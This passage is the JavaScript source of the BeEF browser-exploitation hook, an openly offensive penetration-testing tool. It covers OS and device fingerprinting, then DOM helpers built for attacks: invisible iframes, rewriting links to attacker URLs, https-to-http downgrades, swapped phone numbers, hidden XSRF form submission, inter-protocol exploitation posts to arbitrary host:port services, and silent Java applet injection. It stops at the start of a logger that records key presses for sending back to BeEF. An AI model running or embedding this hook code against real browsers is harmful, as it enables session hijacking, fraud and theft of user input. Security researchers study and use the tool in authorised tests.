  6356. isWin2000: function() {
  6357. return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
  6358. },
  6359.  
  6360. isWin2000SP1: function() {
  6361. return (this.ua.match('Windows NT 5.01 ')) ? true : false;
  6362. },
  6363.  
  6364. isWinXP: function() {
  6365. return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
  6366. },
  6367.  
  6368. isWinServer2003: function() {
  6369. return (this.ua.match('(Windows NT 5.2)')) ? true : false;
  6370. },
  6371.  
  6372. isWinVista: function() {
  6373. return (this.ua.match('(Windows NT 6.0)')) ? true : false;
  6374. },
  6375.  
  6376. isWin7: function() {
  6377. return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
  6378. },
  6379.  
  6380. isWin8: function() {
  6381. return (this.ua.match('(Windows NT 6.2)')) ? true : false;
  6382. },
  6383.  
  6384. isWin81: function() {
  6385. return (this.ua.match('(Windows NT 6.3)')) ? true : false;
  6386. },
  6387.  
  6388. isWin10: function() {
  6389. return (this.ua.match('Windows NT 10.0')) ? true : false;
  6390. },
  6391.  
  6392. isOpenBSD: function() {
  6393. return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
  6394. },
  6395.  
  6396. isSunOS: function() {
  6397. return (this.ua.indexOf('SunOS') != -1) ? true : false;
  6398. },
  6399.  
  6400. isLinux: function() {
  6401. return (this.ua.match('(Linux)|(X11)')) ? true : false;
  6402. },
  6403.  
  6404. isMacintosh: function() {
  6405. return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
  6406. },
  6407.  
  6408. isOsxYosemite: function(){ // TODO
  6409. return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
  6410. },
  6411. isOsxMavericks: function(){ // TODO
  6412. return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
  6413. },
  6414. isOsxSnowLeopard: function(){ // TODO
  6415. return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
  6416. },
  6417. isOsxLeopard: function(){ // TODO
  6418. return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
  6419. },
  6420.  
  6421. isWinPhone: function() {
  6422. return (this.ua.match('(Windows Phone)')) ? true : false;
  6423. },
  6424.  
  6425. isIphone: function() {
  6426. return (this.ua.indexOf('iPhone') != -1) ? true : false;
  6427. },
  6428.  
  6429. isIpad: function() {
  6430. return (this.ua.indexOf('iPad') != -1) ? true : false;
  6431. },
  6432.  
  6433. isIpod: function() {
  6434. return (this.ua.indexOf('iPod') != -1) ? true : false;
  6435. },
  6436.  
  6437. isNokia: function() {
  6438. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  6439. },
  6440.  
  6441. isAndroid: function() {
  6442. return (this.ua.match('Android')) ? true : false;
  6443. },
  6444.  
  6445. isBlackBerry: function() {
  6446. return (this.ua.match('BlackBerry')) ? true : false;
  6447. },
  6448.  
  6449. isWebOS: function() {
  6450. return (this.ua.match('webOS')) ? true : false;
  6451. },
  6452.  
  6453. isQNX: function() {
  6454. return (this.ua.match('QNX')) ? true : false;
  6455. },
  6456.  
  6457. isBeOS: function() {
  6458. return (this.ua.match('BeOS')) ? true : false;
  6459. },
  6460.  
  6461. isAros: function() {
  6462. return (this.ua.match('AROS')) ? true : false;
  6463. },
  6464.  
  6465. isWindows: function() {
  6466. return (this.ua.match('Windows')) ? true : false;
  6467. },
  6468.  
  6469. getName: function() {
  6470.  
  6471. if(this.isWindows()){
  6472. return 'Windows';
  6473. }
  6474.  
  6475. if(this.isMacintosh()) {
  6476. return 'OSX';
  6477. }
  6478.  
  6479. //Nokia
  6480. if(this.isNokia()) {
  6481. if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
  6482. if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
  6483. if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
  6484. }
  6485.  
  6486. // BlackBerry
  6487. if(this.isBlackBerry()) return 'BlackBerry OS';
  6488.  
  6489. // Android
  6490. if(this.isAndroid()) return 'Android';
  6491.  
  6492. // SunOS
  6493. if(this.isSunOS()) return 'SunOS';
  6494.  
  6495. //Linux
  6496. if(this.isLinux()) return 'Linux';
  6497.  
  6498. //iPhone
  6499. if (this.isIphone()) return 'iOS';
  6500. //iPad
  6501. if (this.isIpad()) return 'iOS';
  6502. //iPod
  6503. if (this.isIpod()) return 'iOS';
  6504.  
  6505. //others
  6506. if(this.isQNX()) return 'QNX';
  6507. if(this.isBeOS()) return 'BeOS';
  6508. if(this.isWebOS()) return 'webOS';
  6509. if(this.isAros()) return 'AROS';
  6510.  
  6511. return 'unknown';
  6512. },
  6513.  
  6514. getVersion: function(){
  6515. //Windows
  6516. if(this.isWindows()) {
  6517. if (this.isWin10()) return '10';
  6518. if (this.isWin81()) return '8.1';
  6519. if (this.isWin8()) return '8';
  6520. if (this.isWin7()) return '7';
  6521. if (this.isWinVista()) return 'Vista';
  6522. if (this.isWinXP()) return 'XP';
  6523. if (this.isWinServer2003()) return 'Server 2003';
  6524. if (this.isWin2000SP1()) return '2000 SP1';
  6525. if (this.isWin2000()) return '2000';
  6526. if (this.isWinME()) return 'Millenium';
  6527.  
  6528. if (this.isWinNT4()) return 'NT 4';
  6529. if (this.isWinCE()) return 'CE';
  6530. if (this.isWin95()) return '95';
  6531. if (this.isWin98()) return '98';
  6532. }
  6533.  
  6534. // OS X
  6535. if(this.isMacintosh()) {
  6536. if (this.isOsxYosemite()) return '10.10';
  6537. if (this.isOsxMavericks()) return '10.9';
  6538. if (this.isOsxSnowLeopard()) return '10.8';
  6539. if (this.isOsxLeopard()) return '10.7';
  6540. }
  6541.  
  6542. // TODO add Android/iOS version detection
  6543. }
  6544. };
  6545.  
  6546. beef.regCmp('beef.net.os');
  6547.  
  6548.  
  6549. //
  6550. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6551. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6552. // See the file 'doc/COPYING' for copying permission
  6553. //
  6554.  
  6555. beef.hardware = {
  6556.  
  6557. ua: navigator.userAgent,
  6558.  
  6559. /*
  6560. * @return: {String} CPU type
  6561. **/
  6562. cpuType: function() {
  6563. var arch = 'UNKNOWN';
  6564. // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
  6565. // in detecting the OS arch rather than the browser build
  6566. if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
  6567. arch = 'x86_64';
  6568. }else if(typeof navigator.cpuClass != 'undefined'){
  6569. switch (navigator.cpuClass) {
  6570. case '68K':
  6571. arch = 'Motorola 68K';
  6572. break;
  6573. case 'PPC':
  6574. arch = 'Motorola PPC';
  6575. break;
  6576. case 'Digital':
  6577. arch = 'Alpha';
  6578. break;
  6579. default:
  6580. arch = 'x86';
  6581. }
  6582. }
  6583. // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
  6584. // For example, if OSX is at least 10.7, most certainly is 64 bit.
  6585. return arch;
  6586. },
  6587.  
  6588. /*
  6589. * @return: {Boolean} true or false.
  6590. **/
  6591. isTouchEnabled: function() {
  6592. if ('ontouchstart' in document) return true;
  6593. return false;
  6594. },
  6595.  
  6596. /*
  6597. * @return: {Boolean} true or false.
  6598. **/
  6599. isVirtualMachine: function() {
  6600. if (screen.width % 2 || screen.height % 2) return true;
  6601. return false;
  6602. },
  6603.  
  6604. /*
  6605. * @return: {Boolean} true or false.
  6606. **/
  6607. isLaptop: function() {
  6608. // Most common laptop screen resolution
  6609. if (screen.width == 1366 && screen.height == 768) return true;
  6610. // Netbooks
  6611. if (screen.width == 1024 && screen.height == 600) return true;
  6612. return false;
  6613. },
  6614.  
  6615. /*
  6616. * @return: {Boolean} true or false.
  6617. **/
  6618. isNokia: function() {
  6619. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  6620. },
  6621.  
  6622. /*
  6623. * @return: {Boolean} true or false.
  6624. **/
  6625. isZune: function() {
  6626. return (this.ua.match('ZuneWP7')) ? true : false;
  6627. },
  6628.  
  6629. /*
  6630. * @return: {Boolean} true or false.
  6631. **/
  6632. isHtc: function() {
  6633. return (this.ua.match('HTC')) ? true : false;
  6634. },
  6635.  
  6636. /*
  6637. * @return: {Boolean} true or false.
  6638. **/
  6639. isEricsson: function() {
  6640. return (this.ua.match('Ericsson')) ? true : false;
  6641. },
  6642.  
  6643. /*
  6644. * @return: {Boolean} true or false.
  6645. **/
  6646. isMotorola: function() {
  6647. return (this.ua.match('Motorola')) ? true : false;
  6648. },
  6649.  
  6650. /*
  6651. * @return: {Boolean} true or false.
  6652. **/
  6653. isGoogle: function() {
  6654. return (this.ua.match('Nexus One')) ? true : false;
  6655. },
  6656.  
  6657. /**
  6658. * Returns true if the browser is on a Mobile Phone
  6659. * @return: {Boolean} true or false
  6660. *
  6661. * @example: if(beef.hardware.isMobilePhone()) { ... }
  6662. **/
  6663. isMobilePhone: function() {
  6664. return DetectMobileQuick();
  6665. },
  6666.  
  6667. getName: function() {
  6668. var ua = navigator.userAgent.toLowerCase();
  6669. if(DetectIphone()) { return "iPhone"};
  6670. if(DetectIpod()) { return "iPod Touch"};
  6671. if(DetectIpad()) { return "iPad"};
  6672. if (this.isHtc()) { return 'HTC'};
  6673. if (this.isMotorola()) { return 'Motorola'};
  6674. if (this.isZune()) { return 'Zune'};
  6675. if (this.isGoogle()) { return 'Google Nexus One'};
  6676. if (this.isEricsson()) { return 'Ericsson'};
  6677. if(DetectAndroidPhone()) { return "Android Phone"};
  6678. if(DetectAndroidTablet()) { return "Android Tablet"};
  6679. if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
  6680. if(ua.search(deviceS60) > -1) { return "Nokia S60"};
  6681. if(ua.search(deviceS70) > -1) { return "Nokia S70"};
  6682. if(ua.search(deviceS80) > -1) { return "Nokia S80"};
  6683. if(ua.search(deviceS90) > -1) { return "Nokia S90"};
  6684. if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
  6685. if (this.isNokia()) { return 'Nokia'};
  6686. if(DetectWindowsPhone7()) { return "Windows Phone 7"};
  6687. if(DetectWindowsMobile()) { return "Windows Mobile"};
  6688. if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
  6689. if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
  6690. if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
  6691. if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
  6692. if(DetectBlackBerry()) { return "BlackBerry"};
  6693. if(DetectPalmOS()) { return "Palm OS"};
  6694. if(DetectPalmWebOS()) { return "Palm Web OS"};
  6695. if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
  6696. if(DetectArchos()) { return "Archos"}
  6697. if(DetectBrewDevice()) { return "Brew"};
  6698. if(DetectDangerHiptop()) { return "Danger Hiptop"};
  6699. if(DetectMaemoTablet()) { return "Maemo Tablet"};
  6700. if(DetectSonyMylo()) { return "Sony Mylo"};
  6701. if(DetectAmazonSilk()) { return "Kindle Fire"};
  6702. if(DetectKindle()) { return "Kindle"};
  6703. if(DetectSonyPlaystation()) { return "Playstation"};
  6704. if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
  6705. if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
  6706. if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
  6707. if(DetectXbox()) { return "Xbox"};
  6708. if(this.isLaptop()) { return "Laptop"};
  6709. if(this.isVirtualMachine()) { return "Virtual Machine"};
  6710.  
  6711. return 'Unknown';
  6712. }
  6713. };
  6714.  
  6715. beef.regCmp('beef.hardware');
  6716.  
  6717.  
  6718. //
  6719. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6720. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6721. // See the file 'doc/COPYING' for copying permission
  6722. //
  6723.  
  6724. /*!
  6725. * @literal object: beef.dom
  6726. *
  6727. * Provides functionality to manipulate the DOM.
  6728. */
  6729. beef.dom = {
  6730.  
  6731. /**
  6732. * Generates a random ID for HTML elements
  6733. * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
  6734. * @return: generated id
  6735. */
  6736. generateID: function(prefix) {
  6737. return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
  6738. },
  6739.  
  6740. /**
  6741. * Creates a new element but does not append it to the DOM.
  6742. * @param: {String} the name of the element.
  6743. * @param: {Literal Object} the attributes of that element.
  6744. * @return: the created element.
  6745. */
  6746. createElement: function(type, attributes) {
  6747. var el = document.createElement(type);
  6748.  
  6749. for(index in attributes) {
  6750. if(typeof attributes[index] == 'string') {
  6751. el.setAttribute(index, attributes[index]);
  6752. }
  6753. }
  6754.  
  6755. return el;
  6756. },
  6757.  
  6758. /**
  6759. * Removes element from the DOM.
  6760. * @param: {String or DOM Object} the target element to be removed.
  6761. */
  6762. removeElement: function(el) {
  6763. if (!beef.dom.isDOMElement(el))
  6764. {
  6765. el = document.getElementById(el);
  6766. }
  6767. try {
  6768. el.parentNode.removeChild(el);
  6769. } catch (e) { }
  6770. },
  6771.  
  6772. /**
  6773. * Tests if the object is a DOM element.
  6774. * @param: {Object} the DOM element.
  6775. * @return: true if the object is a DOM element.
  6776. */
  6777. isDOMElement: function(obj) {
  6778. return (obj.nodeType) ? true : false;
  6779. },
  6780.  
  6781. /**
  6782. * Creates an invisible iframe on the hook browser's page.
  6783. * @return: the iframe.
  6784. */
  6785. createInvisibleIframe: function() {
  6786. var iframe = this.createElement('iframe', {
  6787. width: '1px',
  6788. height: '1px',
  6789. style: 'visibility:hidden;'
  6790. });
  6791.  
  6792. document.body.appendChild(iframe);
  6793.  
  6794. return iframe;
  6795. },
  6796.  
  6797. /**
  6798. * Returns the highest current z-index
  6799. * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
  6800. * @return: {Integer} Highest z-index in the DOM
  6801. * OR
  6802. * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
  6803. */
  6804. getHighestZindex: function(include_id) {
  6805. var highest = {'height':0, 'elem':''};
  6806. $j('*').each(function() {
  6807. var current_high = parseInt($j(this).css("zIndex"),10);
  6808. if (current_high > highest.height) {
  6809. highest.height = current_high;
  6810. highest.elem = $j(this).attr('id');
  6811. }
  6812. });
  6813.  
  6814. if (include_id) {
  6815. return highest;
  6816. } else {
  6817. return highest.height;
  6818. }
  6819. },
  6820.  
  6821. /**
  6822. * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
  6823. * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
  6824. * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  6825. * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
  6826. * @param: {Hash} params: list of params that will be sent in request.
  6827. * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
  6828. * @param: {Function} a callback function to fire once the iFrame has loaded
  6829. * @return: {Object} the inserted iFrame
  6830. *
  6831. */
  6832. createIframe: function(type, params, styles, onload) {
  6833. var css = {};
  6834.  
  6835. if (type == 'hidden') {
  6836. css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
  6837. } else if (type == 'fullscreen') {
  6838. css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
  6839. $j('body').css({'padding':'0px', 'margin':'0px'});
  6840. } else {
  6841. css = styles;
  6842. $j('body').css({'padding':'0px', 'margin':'0px'});
  6843. }
  6844. var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
  6845.  
  6846. return iframe;
  6847. },
  6848.  
  6849. /**
  6850. * Load the link (href value) in an overlay foreground iFrame.
  6851. * The BeEF hook continues to run in background.
  6852. * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
  6853. * Framebusting techniques, this will not work.
  6854. */
  6855. persistentIframe: function(){
  6856. $j('a').click(function(e) {
  6857. if ($j(this).attr('href') != '')
  6858. {
  6859. e.preventDefault();
  6860. beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  6861. $j(document).attr('title', $j(this).html());
  6862. document.body.scroll = "no";
  6863. document.documentElement.style.overflow = 'hidden';
  6864. }
  6865. });
  6866. },
  6867.  
  6868. /**
  6869. * Load a full screen div that is black, or, transparent
  6870. * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
  6871. * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
  6872. * opacity:0-100 // Lower number = less grayout higher = more of a blackout
  6873. * // By default this is 70
  6874. * zindex: # // HTML elements with a higher zindex appear on top of the gray out
  6875. * // By default this will use beef.dom.getHighestZindex to always go to the top
  6876. * bgcolor: (#xxxxxx) // Standard RGB Hex color code
  6877. * // By default this is #000000
  6878. */
  6879. grayOut: function(vis, options) {
  6880. // in any order. Pass only the properties you need to set.
  6881. var options = options || {};
  6882. var zindex = options.zindex || beef.dom.getHighestZindex()+1;
  6883. var opacity = options.opacity || 70;
  6884. var opaque = (opacity / 100);
  6885. var bgcolor = options.bgcolor || '#000000';
  6886. var dark=document.getElementById('darkenScreenObject');
  6887. if (!dark) {
  6888. // The dark layer doesn't exist, it's never been created. So we'll
  6889. // create it here and apply some basic styles.
  6890. // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
  6891. var tbody = document.getElementsByTagName("body")[0];
  6892. var tnode = document.createElement('div'); // Create the layer.
  6893. tnode.style.position='absolute'; // Position absolutely
  6894. tnode.style.top='0px'; // In the top
  6895. tnode.style.left='0px'; // Left corner of the page
  6896. tnode.style.overflow='hidden'; // Try to avoid making scroll bars
  6897. tnode.style.display='none'; // Start out Hidden
  6898. tnode.id='darkenScreenObject'; // Name it so we can find it later
  6899. tbody.appendChild(tnode); // Add it to the web page
  6900. dark=document.getElementById('darkenScreenObject'); // Get the object.
  6901. }
  6902. if (vis) {
  6903. // Calculate the page width and height
  6904. if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
  6905. var pageWidth = document.body.scrollWidth+'px';
  6906. var pageHeight = document.body.scrollHeight+'px';
  6907. } else if( document.body.offsetWidth ) {
  6908. var pageWidth = document.body.offsetWidth+'px';
  6909. var pageHeight = document.body.offsetHeight+'px';
  6910. } else {
  6911. var pageWidth='100%';
  6912. var pageHeight='100%';
  6913. }
  6914. //set the shader to cover the entire page and make it visible.
  6915. dark.style.opacity=opaque;
  6916. dark.style.MozOpacity=opaque;
  6917. dark.style.filter='alpha(opacity='+opacity+')';
  6918. dark.style.zIndex=zindex;
  6919. dark.style.backgroundColor=bgcolor;
  6920. dark.style.width= pageWidth;
  6921. dark.style.height= pageHeight;
  6922. dark.style.display='block';
  6923. } else {
  6924. dark.style.display='none';
  6925. }
  6926. },
  6927.  
  6928. /**
  6929. * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
  6930. * or, re-writing a document this is useful.
  6931. */
  6932. removeStylesheets: function() {
  6933. $j('link[rel=stylesheet]').remove();
  6934. $j('style').remove();
  6935. },
  6936.  
  6937. /**
  6938. * Create a form element with the specified parameters, appending it to the DOM if append == true
  6939. * @param: {Hash} params: params to be applied to the form element
  6940. * @param: {Boolean} append: automatically append the form to the body
  6941. * @return: {Object} a form object
  6942. */
  6943. createForm: function(params, append) {
  6944. var form = $j('<form></form>').attr(params);
  6945. if (append)
  6946. $j('body').append(form);
  6947. return form;
  6948. },
  6949.  
  6950. /**
  6951. * Get the location of the current page.
  6952. * @return: the location.
  6953. */
  6954. getLocation: function() {
  6955. return document.location.href;
  6956. },
  6957.  
  6958. /**
  6959. * Get links of the current page.
  6960. * @return: array of URLs.
  6961. */
  6962. getLinks: function() {
  6963. var linksarray = [];
  6964. var links = document.links;
  6965. for(var i = 0; i<links.length; i++) {
  6966. linksarray = linksarray.concat(links[i].href)
  6967. };
  6968. return linksarray
  6969. },
  6970.  
  6971. /**
  6972. * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
  6973. * @param: {String} url: the url to be rewritten
  6974. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  6975. * @return: {Number} the amount of links found in the DOM and rewritten.
  6976. */
  6977. rewriteLinks: function(url, selector) {
  6978. var sel = (selector == null) ? 'a' : selector;
  6979. return $j(sel).each(function() {
  6980. if ($j(this).attr('href') != null)
  6981. {
  6982. $j(this).attr('href', url).click(function() { return true; });
  6983. }
  6984. }).length;
  6985. },
  6986.  
  6987. /**
  6988. * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
  6989. * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
  6990. * @param: {String} url: the url to be rewritten
  6991. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  6992. * @return: {Number} the amount of links found in the DOM and rewritten.
  6993. */
  6994. rewriteLinksClickEvents: function(url, selector) {
  6995. var sel = (selector == null) ? 'a' : selector;
  6996. return $j(sel).each(function() {
  6997. if ($j(this).attr('href') != null)
  6998. {
  6999. $j(this).click(function() {this.href=url});
  7000. }
  7001. }).length;
  7002. },
  7003.  
  7004. /**
  7005. * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
  7006. * @param: {String} old_protocol: the old link protocol to be rewritten
  7007. * @param: {String} new_protocol: the new link protocol to be written
  7008. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7009. * @return: {Number} the amount of links found in the DOM and rewritten.
  7010. */
  7011. rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
  7012.  
  7013. var count = 0;
  7014. var re = new RegExp(old_protocol+"://", "gi");
  7015. var sel = (selector == null) ? 'a' : selector;
  7016.  
  7017. $j(sel).each(function() {
  7018. if ($j(this).attr('href') != null) {
  7019. var url = $j(this).attr('href');
  7020. if (url.match(re)) {
  7021. $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
  7022. count++;
  7023. }
  7024. }
  7025. });
  7026.  
  7027. return count;
  7028. },
  7029.  
  7030. /**
  7031. * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
  7032. * @param: {String} new_number: the new link telephone number to be written
  7033. * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
  7034. * @return: {Number} the amount of links found in the DOM and rewritten.
  7035. */
  7036. rewriteTelLinks: function(new_number, selector) {
  7037.  
  7038. var count = 0;
  7039. var re = new RegExp("tel:/?/?.*", "gi");
  7040. var sel = (selector == null) ? 'a' : selector;
  7041.  
  7042. $j(sel).each(function() {
  7043. if ($j(this).attr('href') != null) {
  7044. var url = $j(this).attr('href');
  7045. if (url.match(re)) {
  7046. $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
  7047. count++;
  7048. }
  7049. }
  7050. });
  7051.  
  7052. return count;
  7053. },
  7054.  
  7055. /**
  7056. * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
  7057. * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
  7058. * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
  7059. */
  7060. parseAppletParams: function(params){
  7061. var result = '';
  7062. for (i in params){
  7063. var param = params[i];
  7064. for(key in param){
  7065. result += "<param name='" + key + "' value='" + param[key] + "' />";
  7066. }
  7067. }
  7068. return result;
  7069. },
  7070.  
  7071. /**
  7072. * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
  7073. * example usage in the code, using a JAR archive (recommended and faster):
  7074. * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
  7075. * example usage in the code, using codebase:
  7076. * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
  7077. * @params: {String} id: reference identifier to the applet.
  7078. * @params: {String} code: name of the class to be loaded. For example, beef.class.
  7079. * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
  7080. * @params: {String} archive: the jar that contains the code.
  7081. * @params: {String} params: an array of additional params that the applet except.
  7082. */
  7083. attachApplet: function(id, name, code, codebase, archive, params) {
  7084. var content = null;
  7085. if (beef.browser.isIE()) {
  7086. content = "" + // the classid means 'use the latest JRE available to launch the applet'
  7087. "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
  7088. "height='0' width='0' name='" + name + "'> " +
  7089. "<param name='code' value='" + code + "' />";
  7090.  
  7091. if (codebase != null) {
  7092. content += "<param name='codebase' value='" + codebase + "' />"
  7093. }
  7094. if (archive != null){
  7095. content += "<param name='archive' value='" + archive + "' />";
  7096. }
  7097. if (params != null) {
  7098. content += beef.dom.parseAppletParams(params);
  7099. }
  7100. content += "</object>";
  7101. }
  7102. if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
  7103.  
  7104. if (codebase != null) {
  7105. content = "" +
  7106. "<applet id='" + id + "' code='" + code + "' " +
  7107. "codebase='" + codebase + "' " +
  7108. "height='0' width='0' name='" + name + "'>";
  7109. } else {
  7110. content = "" +
  7111. "<applet id='" + id + "' code='" + code + "' " +
  7112. "archive='" + archive + "' " +
  7113. "height='0' width='0' name='" + name + "'>";
  7114. }
  7115.  
  7116. if (params != null) {
  7117. content += beef.dom.parseAppletParams(params);
  7118. }
  7119. content += "</applet>";
  7120. }
  7121. // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
  7122. // if (beef.browser.isFF()) {
  7123. // if (codebase != null) {
  7124. // content = "" +
  7125. // "<embed id='" + id + "' code='" + code + "' " +
  7126. // "type='application/x-java-applet' codebase='" + codebase + "' " +
  7127. // "height='0' width='0' name='" + name + "'>";
  7128. // } else {
  7129. // content = "" +
  7130. // "<embed id='" + id + "' code='" + code + "' " +
  7131. // "type='application/x-java-applet' archive='" + archive + "' " +
  7132. // "height='0' width='0' name='" + name + "'>";
  7133. // }
  7134. //
  7135. // if (params != null) {
  7136. // content += beef.dom.parseAppletParams(params);
  7137. // }
  7138. // content += "</embed>";
  7139. // }
  7140. $j('body').append(content);
  7141. },
  7142.  
  7143. /**
  7144. * Given an id, remove the applet from the DOM.
  7145. * @params: {String} id: reference identifier to the applet.
  7146. */
  7147. detachApplet: function(id) {
  7148. $j('#' + id + '').detach();
  7149. },
  7150.  
  7151. /**
  7152. * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
  7153. * @params: {String} action: the form action attribute, where the request will be sent.
  7154. * @params: {String} method: HTTP method, usually POST.
  7155. * @params: {String} enctype: form encoding type
  7156. * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
  7157. * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
  7158. */
  7159. createIframeXsrfForm: function(action, method, enctype, inputs){
  7160. var iframeXsrf = beef.dom.createInvisibleIframe();
  7161.  
  7162. var formXsrf = document.createElement('form');
  7163. formXsrf.setAttribute('action', action);
  7164. formXsrf.setAttribute('method', method);
  7165. formXsrf.setAttribute('enctype', enctype);
  7166.  
  7167. var input = null;
  7168. for (i in inputs){
  7169. var attributes = inputs[i];
  7170. input = document.createElement('input');
  7171. for(key in attributes){
  7172. if (key == 'name' && attributes[key] == 'submit') {
  7173. // workaround for https://github.com/beefproject/beef/issues/1117
  7174. beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
  7175. input.setAttribute('Submit', attributes[key]);
  7176. } else {
  7177. input.setAttribute(key, attributes[key]);
  7178. }
  7179. }
  7180. formXsrf.appendChild(input);
  7181. }
  7182. iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
  7183. formXsrf.submit();
  7184.  
  7185. return iframeXsrf;
  7186. },
  7187.  
  7188. /**
  7189. * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
  7190. * @params: {String} rhost: remote host ip/domain
  7191. * @params: {String} rport: remote port
  7192. * @params: {String} commands: protocol commands to be executed by the remote host:port service
  7193. */
  7194. createIframeIpecForm: function(rhost, rport, path, commands){
  7195. var iframeIpec = beef.dom.createInvisibleIframe();
  7196.  
  7197. var formIpec = document.createElement('form');
  7198. formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
  7199. formIpec.setAttribute('method', 'POST');
  7200. formIpec.setAttribute('enctype', 'multipart/form-data');
  7201.  
  7202. input = document.createElement('textarea');
  7203. input.setAttribute('name', Math.random().toString(36).substring(5));
  7204. input.value = commands;
  7205. formIpec.appendChild(input);
  7206. iframeIpec.contentWindow.document.body.appendChild(formIpec);
  7207. formIpec.submit();
  7208.  
  7209. return iframeIpec;
  7210. }
  7211.  
  7212. };
  7213.  
  7214. beef.regCmp('beef.dom');
  7215.  
  7216.  
  7217. //
  7218. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  7219. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7220. // See the file 'doc/COPYING' for copying permission
  7221. //
  7222.  
  7223. /*!
  7224. * @literal object: beef.logger
  7225. *
  7226. * Provides logging capabilities.
  7227. */
  7228. beef.logger = {
  7229.  
  7230. running: false,
  7231. /**
  7232. * Internal logger id
  7233. */
  7234. id: 0,
  7235. /**
  7236. * Holds events created by user, to be sent back to BeEF
  7237. */
  7238. events: [],
  7239. /**
  7240. * Holds current stream of key presses
  7241. */
  7242. stream: [],
  7243. /**
